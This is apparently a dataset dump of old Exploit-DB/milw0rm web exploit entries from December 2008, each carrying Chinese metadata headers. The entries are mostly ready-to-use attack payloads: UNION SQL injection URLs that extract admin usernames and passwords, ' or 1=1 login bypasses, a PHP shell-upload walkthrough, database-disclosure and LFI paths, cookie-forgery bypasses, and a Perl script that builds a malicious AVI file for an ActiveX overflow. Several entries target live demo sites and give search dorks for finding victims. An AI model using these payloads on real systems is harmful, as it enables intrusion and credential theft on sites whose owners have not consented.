QLWD/code_shield huggingface dataset:
标题: Social Groupie - 'create_album.php' Arbitrary File Upload EDB-ID: 7435 CVE: 2008-6367 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-12 漏洞利用脚本: ||          ||   | ||         
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,  
                  ( :   /    (_)    /           (   .   
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
 
 
<<!>> Found by  :  Cyb3r-1sT
 
<<!>> C0ntact : cyb3r-1st [at] hotmail.com  
                    
<<!>> Groups : InjEctOr5 T3am  
 
=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================
 
 
<<->> script   : Social Groupie
 
<<->> download : www.socialgroupie.com   
 
 
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
 
 
<<->> D0rk    : find it
 
<<->> Exploit :>>>  After u Register in site flow this steps  
 
                         Step 1 :>  Goto photos section : http://www.site.me/Photos/photos.php
 
                         Step 2 :> Create new album :  http://www.site.me/Photos/create_album.php
 
                         Step 3 :> Upload ur shell as ( shell.jpg.php Or shell.php ) .. Ur shell will be here http://www.site.me/Member_images/
 
=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================
 
<<->> All freinds , all muslims , str0ke 

# milw0rm.com [2008-12-12] URL: https://www.exploit-db.com/exploits/7435
标题: Joomla! Component live chat - SQL Injection / Open Proxy EDB-ID: 7441 CVE: 2008-6883 2008-6882 2008-6881 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-12 漏洞利用脚本: Joomla Live Chat

http://www.joompolitan.com/livechat.html

Google Dork: allinurl:option=com_livechat

author: jdc


SQL Injections:

administrator/components/com_livechat/getChat.php && administrator/components/com_livechat/getSavedChatRooms.php don't sanitize the variable 'last':


$last = (isset($_GET['last']) && $_GET['last'] != '') ? $_GET['last'] : 0;
--------------------------------------------------------^

administrator/components/com_livechat/getChat.php?chat=0&last=1%20union%20select%201,unhex(hex(concat(username,0x3a,password))),3,4%20from%20jos_users

administrator/components/com_livechat/getSavedChatRooms.php?chat=0&last=1%20union%20select%201,unhex(hex(concat(username,0x3a,password))),3%20from%20jos_users


Open Proxy ( sends HTTP_FORWARDED ):

administrator/components/com_livechat/xmlhttp.php?GET$01$2$3$4$5$http://www.google.com


# milw0rm.com [2008-12-12] URL: https://www.exploit-db.com/exploits/7441
标题: Social Groupie - 'id' SQL Injection EDB-ID: 7433 CVE: 2008-6358 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-12 漏洞利用脚本: ||          ||   | ||         
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,  
                  ( :   /    (_)    /           (   .   
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
 
 
<<!>> Found by  :  Cyb3r-1sT
 
<<!>> C0ntact : cyb3r-1st [at] hotmail.com  
                    
<<!>> Groups : InjEctOr5 T3am  
 
=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================
 
 
<<->> script   : Social Groupie
 
<<->> download : www.socialgroupie.com   
 
 
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
 
 
<<->> D0rk    : find it
 
<<->> Exploit :>>>
 
    :>>  http://www.site.me/group_index.php?id=-1067+Union+select+0,0,0,0,0,0,0,0,0,concat(username,0x3a,password),0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+tbl_admin--
 
 
 
=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================
 
<<->> All freinds , all muslims , str0ke 

# milw0rm.com [2008-12-12] URL: https://www.exploit-db.com/exploits/7433
标题: ASP-CMS 1.0 - 'cha' SQL Injection EDB-ID: 7429 CVE: 2008-6353 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-12 漏洞利用脚本: #####################################################################################
####                        ASP-CMS v.1.0 Sql Injection                          ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr) - Hadi Kiamarsi       #
#####################################################################################
#                                                                                   #
#Download : http://puzzle.dl.sourceforge.net/sourceforge/asp-cms/asp-cms.18-12-04.zip
#                                                                                   #
#DORK : :(                                                                          #
#                                                                                   #
#####################################################################################
#                                 [Sql Injection]                                   #
#                                                                                   #
#Username : http://Site/[path]/index.asp?cha=-999%20union%20select%200,1,user_username,3,4,5,6,7,8,9,10%20from%20CMS_USERS
#                                                                                   #
#Password : http://Site/[path]/index.asp?cha=-999%20union%20select%200,1,user_password,3,4,5,6,7,8,9,10%20from%20CMS_USERS
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

# milw0rm.com [2008-12-12] URL: https://www.exploit-db.com/exploits/7429
标题: The Net Guys ASPired2Poll - Remote Database Disclosure EDB-ID: 7427 CVE: 2008-6354 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-11 漏洞利用脚本: ###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : ASPired2poll
#download : null
#Demo     : http://thenetguys.us/ASPired2/Poll/


###########################################################################

#Exploits :

--=[DATABASE DISCLOSURE]=--

http://thenetguys.us/ASPired2/Poll/ASPired2poll.mdb


###########################################################################

# milw0rm.com [2008-12-11] URL: https://www.exploit-db.com/exploits/7427
标题: The Net Guys ASPired2Protect - Database Disclosure EDB-ID: 7428 CVE: 2008-6355 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-12 漏洞利用脚本: ###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : ASPired2Protect
#download : http://thenetguys.us/Downloads/ASP2Protect.zip
#Demo     : http://thenetguys.us/ASPired2/Protect/login.asp


###########################################################################

#Exploits :

--=[DATABASE DISCLOSURE]=--
http://thenetguys.us/ASPired2/Protect/ASPired2Protect.mdb



###########################################################################

# milw0rm.com [2008-12-12] URL: https://www.exploit-db.com/exploits/7428
标题: Xpoze 4.10 - 'menu' Blind SQL Injection EDB-ID: 7432 CVE: 2008-6352 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-12 漏洞利用脚本: [â– ]  Xpoze Pro  (home menÃ¹) <= Blind $ql Injection

 
>---------------------------------------<

> AuToR: XaDoS (SecurityCode Team)
> Contact M&: xados [at] hotmail [dot] it
> BÂ§g: Blind $ql inJection
> SIte vuln: http://www.xpoze.org/

>---------------------------------------<
 
 
[â– ] ExPL0iT:
 
Dork: " Powered by Xpoze "

|: http://www.example.com/home.html?menu=[$qL] 


[â– ] DÂ£M0: 
 
|: http://demo.xpoze.org/home.html?menu=110%20and%20substring(@@version,1,1)=5  [NOÂ°Â°]
 
|: http://demo.xpoze.org/home.html?menu=110%20and%20substring(@@version,1,1)=4 [y&$ ;-)] 
 

 
[â– ] Th4nKs::
 
\> Str0ke </ \>Il pavimento</ \>sibilla</ \>Lo z00</ \>I FoxHound ( goto www.myspace.com/foxhoundindie )

# milw0rm.com [2008-12-12] URL: https://www.exploit-db.com/exploits/7432
标题: Microsoft Visual Basic - ActiveX Controls mscomct2.ocx Buffer Overflow (PoC) EDB-ID: 7431 CVE: 2008-4255 类型: DOS 平台: WINDOWS 发布日期: 2008-12-12 漏洞利用脚本: #!/usr/bin/perl
# Microsoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object  Buffer Overflow (CVE-2008-4255) PoC
# You'll need Debugging Tools for Windows http://www.microsoft.com/whdc/devtools/debugging/default.mspx
# /JA
# Come to FRHACK!
# www.frhack.org

print "\nMicrosoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object Buffer Overflow (CVE-2008-4255) PoC\n";
print "Generating malicious .AVI file\n";
print "This file should be served via an UNC path\n";
print "[->] Building  evil.avi\n";

my $shellcode = "http://metasploit.com";

$FileHeader =
"\x52\x49\x46\x46\x2C\x08\x00\x00\x41\x56\x49\x20\x73\x74\x72\x68\x10\x00\x00\x00\x76\x69\x64\x73\x20\x20\x20\x20\x00\x00\x00\x00".
"\x00\x00\x00\x00\x73\x74\x72\x66\x00\x08\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

open(my $poc, "> evil.avi");
print $poc $FileHeader;
close($poc);

print "[->] evil.avi generated\n";
print "[->] Building  evil.html\n";

$EvilHTML =
"<html><head></head><body><object id='evil' classid='clsid:B09DE715-87C1-11D1-8BE3-0000F8754DA1'><param name='AutoPlay' value='True'></object>".
"<script language=javascript>evil.Open('\\\\192.168.0.1\\share\\evil.avi');</script></body></html>";

open(my $poc, "> evil.html");
print $poc $EvilHTML;
close($poc);

print "[->] evil.html generated\n";

# milw0rm.com [2008-12-12] URL: https://www.exploit-db.com/exploits/7431
标题: Umer Inc Songs Portal Script - 'id' SQL Injection EDB-ID: 7439 CVE: 2008-5921 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-12 漏洞利用脚本: ||          ||   | ||         
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,  
                  ( :   /    (_)    /           (   .   
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
 
 
<<!>> Found by  :  Fisher
 
<<!>> C0ntact : sq7@w.cn
                    
<<!>> Groups : InjEctOr5 T3am  
 
=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================
 
 
<<->> script   : Songs Portal
 
<<->> download : www.umerinc.com/songs_portal.php
 
 
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
 
 
<<->> D0rk    :  ;)
 
<<->> Exploit :>>>
 
    :>>  http://www.site.com/albums.php?id=16+union+select+1,concat(username,0x3a,password),3,4,5+from+admin--
 
 
 
 Demo :
 
 http://www.umerinc.com/portfolio/aamir/albums.php?id=16+union+select+1,concat(username,0x3a,password),3,4,5+from+admin--
 
 
=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================
 
<<->> HCJ,Sniper_Net,broken security ,Cyb3r-1sT & all friends

# milw0rm.com [2008-12-12] URL: https://www.exploit-db.com/exploits/7439
标题: Feed CMS 1.07.03.19b - 'lang' Local File Inclusion EDB-ID: 7422 CVE: 2008-6361 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-11 漏洞利用脚本: ###############################
Feed Cms 1.07.03.19 Beta LFI
###############################
Autore: x0r
Email: andry2000@hotmail.it
Download:
http://heanet.dl.sourceforge.net/sourceforge/feedcms/FeedCms1.07.03.19Beta.rar
###############################
Bug In: index.php

if ($_GET['lang'])
{
 $language = $_GET['lang'];
 
 setcookie('firstlang',$language,time()+3600*240*365);
 header('location:'.$redirect);
}
$lang = $_COOKIE['firstlang'] ? $_COOKIE['firstlang'] : $lang;
include_once($FeedCms_Dir."lang/$lang/$lang.php");

LFI By Cookie ^ ^

Exploit: 

http://[site]/FeedCms/?lang=[LFI] ^ ^

Greetz: A Te Che Mi Hai Cambiato La Vita...

# milw0rm.com [2008-12-11] URL: https://www.exploit-db.com/exploits/7422
标题: Banner Exchange Java - Authentication Bypass EDB-ID: 7425 CVE: 2008-6364 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-11 漏洞利用脚本: [â˜¢] â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢{Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…}â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢

 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor: www.adserversolutions.com
   
 [~]Software: Banner Exchange Java 
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~]â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ {R0}â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ 
   
 [~] Exploit:
   
 [~] username: r0' or ' 1=1--
 [~] password: r0' or ' 1=1--
   
   
 [â˜ ]login 4 d3m0:
   
  www.adservingsolutions.com/xchange_java/logon_license.jsp
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker & K374 & /\/\4/\/0/\/
  [~]
  [~] spechial thanks : dolly & 7am3m & EL z0hery & BLACK R053 &{str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-12-11] URL: https://www.exploit-db.com/exploits/7425
标题: MyCal Personal Events Calendar - Database Disclosure EDB-ID: 7420 CVE: 2008-6357 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-11 漏洞利用脚本: ****************************************************************************************
MyCal Personal Events Calendar (mycal.mdb) Database Disclosure Vulnerability
****************************************************************************************
 
Script Name : MyCal Personal Events Calendar
 
Author : CoBRa_21
 
My Site : www.ipbul.org
 
Download : http://www.funscripts.net/old_coldfusion/download.php?fname=mycal
 
****************************************************************************************
 
Exploit:
 
http://localhost/[PATH]/database/mycal.mdb
 
****************************************************************************************
 
Thanks: Cyber-Warrior.Org
 
****************************************************************************************

# milw0rm.com [2008-12-11] URL: https://www.exploit-db.com/exploits/7420
标题: CF_Forum - Blind SQL Injection EDB-ID: 7416 CVE: 2008-6324 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-10 漏洞利用脚本: ###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : CF_FORUM
#download : null
#Demo     : http://www.cfmsource.com/forums/htdocs/


###########################################################################

#Exploits :

--=[SQL INJECTION]=--
http://www.cfmsource.com/forums/htdocs/forummessages.cfm?topicnbr=2&categorynbr=2%20and%20substring(@@version,1,1)=5

#Greetz For

###########################################################################

# milw0rm.com [2008-12-10] URL: https://www.exploit-db.com/exploits/7416
标题: Ad Management Java - Authentication Bypass EDB-ID: 7424 CVE: 2008-6365 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-11 漏洞利用脚本: [â˜¢] â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢{Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…}â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢

 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor: www.adserversolutions.com
   
 [~]Software: Ad Management Java 
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~]â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ {R0}â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ 
   
 [~] Exploit:
   
 [~] username: r0' or ' 1=1--
 [~] password: r0' or ' 1=1--
   
   
 [â˜ ] login 4 d3m0:
   
  www.adserversolutions.com/admgmt_460/logon.jsp
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker & K374 & /\/\4/\/0/\/
  [~]
  [~] spechial thanks : dolly & 7am3m & EL z0hery & BLACK R053 &{str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-12-11] URL: https://www.exploit-db.com/exploits/7424
标题: PhpAddEdit 1.3 - 'cookie' Authentication Bypass EDB-ID: 7418 CVE: 2008-6581 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-11 漏洞利用脚本: -------------------------------------
   PhpAddEdit 1.3 Login By Pass 
-------------------------------------

Found By: x0r ( Evolution Team )
Email: andry2000@hotmail.it
-------------------------------------

Bug In: Addedit-login.php

  if (!$login_error) {
   // --- Set admin cookie so favorite form field will show up when I use
the site...
   if ($_POST["rememberme"]) {
    $expire = mktime(0,0,0,date("m"),date("d")+120,date("Y"));
    setcookie("addedit", $_POST["adminuser"], $expire, "/", "", 0);
   } else {
    setcookie("addedit", $_POST["adminuser"]);
   }
   Header("Location:  ./");
  }
 }
 
Ci basta conoscere l'username dell'admin per bypassare il login :P ^ ^
-------------------------------------

Exploit:

javascript:document.cookie = "addedit=[adminuser]; path=/";

es:

javascript:document.cookie = "addedit=x0r; path=/";
--------------------------------------
Live Demo: http://www.phpaddedit.com/demo/
--------------------------------------
Greetz: Amore oggi +65 ti amo troppo.

# milw0rm.com [2008-12-11] URL: https://www.exploit-db.com/exploits/7418
标题: Affiliate Software Java 4.0 - Authentication Bypass EDB-ID: 7423 CVE: 2008-6366 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-11 漏洞利用脚本: [â˜¢] â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢{Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…}â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢

 [~] Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~] Vendor: www.adserversolutions.com
   
 [â˜ ] Software: Affiliate Software Java 4.0
   
 [â˜ ] author: ((Ñ3d D3v!L))
   
 [â˜ ] Date: 12.12.2008

 [â˜ ] Home: www.ahacker.biz
   
 [â˜ ] contact: N/A

[â˜ ]  â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ {DEV!L'5 of SYST3M}â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ 
   
 [â˜ ] Exploit:
   
 â˜  username: r0' or ' 1=1--
 â˜  password: r0' or ' 1=1--
   
   
 [â˜ ]login 4 d3m0:
   
  http://www.adserversolutions.com/affiliate_java/logon.jsp
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker & K374 & /\/\4/\/0/\/
  [~]
  [~] spechial thanks : dolly & 7am3m & EL z0hery & BLACK R053 &{str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-12-11] URL: https://www.exploit-db.com/exploits/7423